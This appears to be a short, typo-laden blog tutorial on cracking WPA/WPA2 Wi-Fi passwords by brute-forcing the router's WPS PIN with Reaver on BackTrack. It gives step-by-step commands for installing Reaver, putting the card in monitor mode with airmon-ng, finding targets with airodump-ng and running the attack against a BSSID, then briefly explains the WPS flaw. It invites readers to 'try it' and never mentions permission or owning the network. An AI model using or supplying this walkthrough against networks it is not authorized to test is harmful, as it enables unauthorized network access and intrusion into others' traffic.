Read this article and try it! it’s works !
The first need to you is doenload backtrcak From this site : http://www.backtrack.org/
step 1: Boot into backtrack
step 2:install reaver
these are code to install reaver
open terminal and type :
apt-get install reaver
step 3:Find your wireless card open terminal and type
step 4: type airmon-ng start wlan0
step 5: type airodump-ng mon0
step 6: Crack the wpa password and open terminal and type and hit enter.
reaver -i moninterface -b bssid -vv
this code in my case will look like mine.
reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv
Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending.
How reaver works?
Now that you’ve seen how to use Reaver, let’s take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It’s a feature that exists on many routers, intended to provide an easy setup process, and it’s tied to a PIN that’s hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password.